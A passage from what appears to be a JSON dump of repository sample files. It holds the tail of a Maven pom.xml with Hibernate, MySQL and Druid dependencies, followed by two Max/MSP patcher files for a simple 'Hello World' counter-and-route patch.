-->\n\n\t\t<dependency>\n\t\t\t<groupId>org.hibernate</groupId>\n\t\t\t<artifactId>hibernate-core</artifactId>\n\t\t\t<version>${hibernate.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.hibernate</groupId>\n\t\t\t<artifactId>hibernate-entitymanager</artifactId>\n\t\t\t<version>${hibernate.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.hibernate</groupId>\n\t\t\t<artifactId>hibernate-validator</artifactId>\n\t\t\t<version>${hibernate-validator.version}</version>\n\t\t\t<scope>compile</scope>\n\n\t\t</dependency>\n\n\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>${mysql.version}</version>\n\t\t\t<scope>runtime</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>druid</artifactId>\n\t\t\t<version>${druid-version}</version>\n\t\t</dependency>\n\n\n\t</dependencies>\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>2.0.2</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.7</source>\n\t\t\t\t\t<target>1.7</target>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n</project>\n"
  },
  {
    "path": "samples/Max/Hello.maxhelp",
    "content": "{\n\t\"patcher\" : \t{\n\t\t\"fileversion\" : 1,\n\t\t\"appversion\" : \t\t{\n\t\t\t\"major\" : 5,\n\t\t\t\"minor\" : 1,\n\t\t\t\"revision\" : 9\n\t\t}\n,\n\t\t\"rect\" : [ 198.0, 92.0, 365.0, 407.0 ],\n\t\t\"bglocked\" : 0,\n\t\t\"defrect\" : [ 198.0, 92.0, 365.0, 407.0 ],\n\t\t\"openrect\" : [ 0.0, 0.0, 0.0, 0.0 ],\n\t\t\"openinpresentation\" : 0,\n\t\t\"default_fontsize\" : 14.0,\n\t\t\"default_fontface\" : 0,\n\t\t\"default_fontname\" : \"Arial\",\n\t\t\"gridonopen\" : 0,\n\t\t\"gridsize\" : [ 20.0, 20.0 ],\n\t\t\"gridsnaponopen\" : 0,\n\t\t\"toolbarvisible\" : 1,\n\t\t\"boxanimatetime\" : 200,\n\t\t\"imprint\" : 0,\n\t\t\"enablehscroll\" : 1,\n\t\t\"enablevscroll\" : 1,\n\t\t\"devicewidth\" : 0.0,\n\t\t\"boxes\" : [ \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"button\",\n\t\t\t\t\t\"patching_rect\" : [ 260.0, 260.0, 20.0, 20.0 ],\n\t\t\t\t\t\"numinlets\" : 1,\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"bang\" ],\n\t\t\t\t\t\"id\" : \"obj-22\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"button\",\n\t\t\t\t\t\"patching_rect\" : [ 240.0, 260.0, 20.0, 20.0 ],\n\t\t\t\t\t\"numinlets\" : 1,\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"bang\" ],\n\t\t\t\t\t\"id\" : \"obj-20\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"button\",\n\t\t\t\t\t\"patching_rect\" : [ 220.0, 260.0, 20.0, 20.0 ],\n\t\t\t\t\t\"numinlets\" : 1,\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"bang\" ],\n\t\t\t\t\t\"id\" : \"obj-18\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"button\",\n\t\t\t\t\t\"patching_rect\" : [ 200.0, 260.0, 20.0, 20.0 ],\n\t\t\t\t\t\"numinlets\" : 1,\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"bang\" ],\n\t\t\t\t\t\"id\" : \"obj-16\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"newobj\",\n\t\t\t\t\t\"text\" : \"route 0 1 2 3\",\n\t\t\t\t\t\"patching_rect\" : [ 200.0, 220.0, 99.0, 23.0 ],\n\t\t\t\t\t\"numinlets\" : 1,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 5,\n\t\t\t\t\t\"outlettype\" : [ \"\", \"\", \"\", \"\", \"\" ],\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"id\" : \"obj-14\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"newobj\",\n\t\t\t\t\t\"text\" : \"r jojo\",\n\t\t\t\t\t\"patching_rect\" : [ 200.0, 180.0, 41.0, 23.0 ],\n\t\t\t\t\t\"numinlets\" : 0,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"\" ],\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"color\" : [ 0.827451, 0.737255, 0.835294, 1.0 ],\n\t\t\t\t\t\"id\" : \"obj-13\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"newobj\",\n\t\t\t\t\t\"text\" : \"s jojo\",\n\t\t\t\t\t\"patching_rect\" : [ 20.0, 340.0, 43.0, 23.0 ],\n\t\t\t\t\t\"numinlets\" : 1,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 0,\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"color\" : [ 0.827451, 0.737255, 0.835294, 1.0 ],\n\t\t\t\t\t\"id\" : \"obj-12\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"newobj\",\n\t\t\t\t\t\"text\" : \"append toto\",\n\t\t\t\t\t\"patching_rect\" : [ 20.0, 300.0, 84.0, 23.0 ],\n\t\t\t\t\t\"numinlets\" : 1,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"\" ],\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"id\" : \"obj-11\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"newobj\",\n\t\t\t\t\t\"text\" : \"% 4\",\n\t\t\t\t\t\"patching_rect\" : [ 20.0, 260.0, 35.0, 23.0 ],\n\t\t\t\t\t\"numinlets\" : 2,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"int\" ],\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"id\" : \"obj-10\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"newobj\",\n\t\t\t\t\t\"text\" : \"counter\",\n\t\t\t\t\t\"patching_rect\" : [ 20.0, 220.0, 73.0, 23.0 ],\n\t\t\t\t\t\"numinlets\" : 5,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 4,\n\t\t\t\t\t\"outlettype\" : [ \"int\", \"\", \"\", \"int\" ],\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"id\" : \"obj-9\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"newobj\",\n\t\t\t\t\t\"text\" : \"metro 250\",\n\t\t\t\t\t\"patching_rect\" : [ 20.0, 180.0, 74.0, 23.0 ],\n\t\t\t\t\t\"numinlets\" : 2,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"bang\" ],\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"id\" : \"obj-8\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"toggle\",\n\t\t\t\t\t\"patching_rect\" : [ 20.0, 140.0, 20.0, 20.0 ],\n\t\t\t\t\t\"numinlets\" : 1,\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"int\" ],\n\t\t\t\t\t\"id\" : \"obj-7\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"newobj\",\n\t\t\t\t\t\"text\" : \"t 0\",\n\t\t\t\t\t\"patching_rect\" : [ 140.0, 80.0, 26.0, 23.0 ],\n\t\t\t\t\t\"numinlets\" : 1,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"int\" ],\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"id\" : \"obj-5\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"newobj\",\n\t\t\t\t\t\"text\" : \"t 1\",\n\t\t\t\t\t\"patching_rect\" : [ 20.0, 80.0, 26.0, 23.0 ],\n\t\t\t\t\t\"numinlets\" : 1,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"int\" ],\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"id\" : \"obj-4\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"message\",\n\t\t\t\t\t\"text\" : \"Goodbye World !\",\n\t\t\t\t\t\"patching_rect\" : [ 140.0, 40.0, 115.0, 21.0 ],\n\t\t\t\t\t\"numinlets\" : 2,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"\" ],\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"id\" : \"obj-3\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"message\",\n\t\t\t\t\t\"text\" : \"Hello World !\",\n\t\t\t\t\t\"patching_rect\" : [ 20.0, 40.0, 90.0, 21.0 ],\n\t\t\t\t\t\"numinlets\" : 2,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"\" ],\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"id\" : \"obj-2\"\n\t\t\t\t}\n\n\t\t\t}\n ],\n\t\t\"lines\" : [ \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-2\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-4\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-3\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-5\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-4\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-7\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-5\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-7\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [ 149.5, 121.0, 29.5, 121.0 ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-7\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-8\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-8\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-9\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-9\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-10\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-10\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-11\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-11\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-12\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-13\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-14\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-14\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-16\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-14\", 1 ],\n\t\t\t\t\t\"destination\" : [ \"obj-18\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-14\", 2 ],\n\t\t\t\t\t\"destination\" : [ \"obj-20\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-14\", 3 ],\n\t\t\t\t\t\"destination\" : [ \"obj-22\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n ]\n\t}\n\n}\n"
  },
  {
    "path": "samples/Max/Hello.maxpat",
    "content": "{\n\t\"patcher\" : \t{\n\t\t\"fileversion\" : 1,\n\t\t\"appversion\" : \t\t{\n\t\t\t\"major\" : 5,\n\t\t\t\"minor\" : 1,\n\t\t\t\"revision\" : 9\n\t\t}\n,\n\t\t\"rect\" : [ 198.0, 92.0, 365.0, 407.0 ],\n\t\t\"bglocked\" : 0,\n\t\t\"defrect\" : [ 198.0, 92.0, 365.0, 407.0 ],\n\t\t\"openrect\" : [ 0.0, 0.0, 0.0, 0.0 ],\n\t\t\"openinpresentation\" : 0,\n\t\t\"default_fontsize\" : 14.0,\n\t\t\"default_fontface\" : 0,\n\t\t\"default_fontname\" : \"Arial\",\n\t\t\"gridonopen\" : 0,\n\t\t\"gridsize\" : [ 20.0, 20.0 ],\n\t\t\"gridsnaponopen\" : 0,\n\t\t\"toolbarvisible\" : 1,\n\t\t\"boxanimatetime\" : 200,\n\t\t\"imprint\" : 0,\n\t\t\"enablehscroll\" : 1,\n\t\t\"enablevscroll\" : 1,\n\t\t\"devicewidth\" : 0.0,\n\t\t\"boxes\" : [ \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"button\",\n\t\t\t\t\t\"patching_rect\" : [ 260.0, 260.0, 20.0, 20.0 ],\n\t\t\t\t\t\"numinlets\" : 1,\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"bang\" ],\n\t\t\t\t\t\"id\" : \"obj-22\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"button\",\n\t\t\t\t\t\"patching_rect\" : [ 240.0, 260.0, 20.0, 20.0 ],\n\t\t\t\t\t\"numinlets\" : 1,\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"bang\" ],\n\t\t\t\t\t\"id\" : \"obj-20\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"button\",\n\t\t\t\t\t\"patching_rect\" : [ 220.0, 260.0, 20.0, 20.0 ],\n\t\t\t\t\t\"numinlets\" : 1,\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"bang\" ],\n\t\t\t\t\t\"id\" : \"obj-18\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"button\",\n\t\t\t\t\t\"patching_rect\" : [ 200.0, 260.0, 20.0, 20.0 ],\n\t\t\t\t\t\"numinlets\" : 1,\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"bang\" ],\n\t\t\t\t\t\"id\" : \"obj-16\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"newobj\",\n\t\t\t\t\t\"text\" : \"route 0 1 2 3\",\n\t\t\t\t\t\"patching_rect\" : [ 200.0, 220.0, 99.0, 23.0 ],\n\t\t\t\t\t\"numinlets\" : 1,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 5,\n\t\t\t\t\t\"outlettype\" : [ \"\", \"\", \"\", \"\", \"\" ],\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"id\" : \"obj-14\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"newobj\",\n\t\t\t\t\t\"text\" : \"r jojo\",\n\t\t\t\t\t\"patching_rect\" : [ 200.0, 180.0, 41.0, 23.0 ],\n\t\t\t\t\t\"numinlets\" : 0,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"\" ],\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"color\" : [ 0.827451, 0.737255, 0.835294, 1.0 ],\n\t\t\t\t\t\"id\" : \"obj-13\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"newobj\",\n\t\t\t\t\t\"text\" : \"s jojo\",\n\t\t\t\t\t\"patching_rect\" : [ 20.0, 340.0, 43.0, 23.0 ],\n\t\t\t\t\t\"numinlets\" : 1,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 0,\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"color\" : [ 0.827451, 0.737255, 0.835294, 1.0 ],\n\t\t\t\t\t\"id\" : \"obj-12\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"newobj\",\n\t\t\t\t\t\"text\" : \"append toto\",\n\t\t\t\t\t\"patching_rect\" : [ 20.0, 300.0, 84.0, 23.0 ],\n\t\t\t\t\t\"numinlets\" : 1,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"\" ],\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"id\" : \"obj-11\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"newobj\",\n\t\t\t\t\t\"text\" : \"% 4\",\n\t\t\t\t\t\"patching_rect\" : [ 20.0, 260.0, 35.0, 23.0 ],\n\t\t\t\t\t\"numinlets\" : 2,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"int\" ],\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"id\" : \"obj-10\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"newobj\",\n\t\t\t\t\t\"text\" : \"counter\",\n\t\t\t\t\t\"patching_rect\" : [ 20.0, 220.0, 73.0, 23.0 ],\n\t\t\t\t\t\"numinlets\" : 5,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 4,\n\t\t\t\t\t\"outlettype\" : [ \"int\", \"\", \"\", \"int\" ],\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"id\" : \"obj-9\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"newobj\",\n\t\t\t\t\t\"text\" : \"metro 250\",\n\t\t\t\t\t\"patching_rect\" : [ 20.0, 180.0, 74.0, 23.0 ],\n\t\t\t\t\t\"numinlets\" : 2,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"bang\" ],\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"id\" : \"obj-8\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"toggle\",\n\t\t\t\t\t\"patching_rect\" : [ 20.0, 140.0, 20.0, 20.0 ],\n\t\t\t\t\t\"numinlets\" : 1,\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"int\" ],\n\t\t\t\t\t\"id\" : \"obj-7\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"newobj\",\n\t\t\t\t\t\"text\" : \"t 0\",\n\t\t\t\t\t\"patching_rect\" : [ 140.0, 80.0, 26.0, 23.0 ],\n\t\t\t\t\t\"numinlets\" : 1,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"int\" ],\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"id\" : \"obj-5\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"newobj\",\n\t\t\t\t\t\"text\" : \"t 1\",\n\t\t\t\t\t\"patching_rect\" : [ 20.0, 80.0, 26.0, 23.0 ],\n\t\t\t\t\t\"numinlets\" : 1,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"int\" ],\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"id\" : \"obj-4\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"message\",\n\t\t\t\t\t\"text\" : \"Goodbye World !\",\n\t\t\t\t\t\"patching_rect\" : [ 140.0, 40.0, 115.0, 21.0 ],\n\t\t\t\t\t\"numinlets\" : 2,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"\" ],\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"presentation_rect\" : [ 137.0, 42.0, 0.0, 0.0 ],\n\t\t\t\t\t\"id\" : \"obj-3\"\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"box\" : \t\t\t\t{\n\t\t\t\t\t\"maxclass\" : \"message\",\n\t\t\t\t\t\"text\" : \"Hello World !\",\n\t\t\t\t\t\"patching_rect\" : [ 20.0, 40.0, 90.0, 21.0 ],\n\t\t\t\t\t\"numinlets\" : 2,\n\t\t\t\t\t\"fontname\" : \"Arial\",\n\t\t\t\t\t\"numoutlets\" : 1,\n\t\t\t\t\t\"outlettype\" : [ \"\" ],\n\t\t\t\t\t\"fontsize\" : 14.0,\n\t\t\t\t\t\"id\" : \"obj-2\"\n\t\t\t\t}\n\n\t\t\t}\n ],\n\t\t\"lines\" : [ \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-14\", 3 ],\n\t\t\t\t\t\"destination\" : [ \"obj-22\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-14\", 2 ],\n\t\t\t\t\t\"destination\" : [ \"obj-20\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-14\", 1 ],\n\t\t\t\t\t\"destination\" : [ \"obj-18\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-14\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-16\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-13\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-14\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-11\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-12\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ 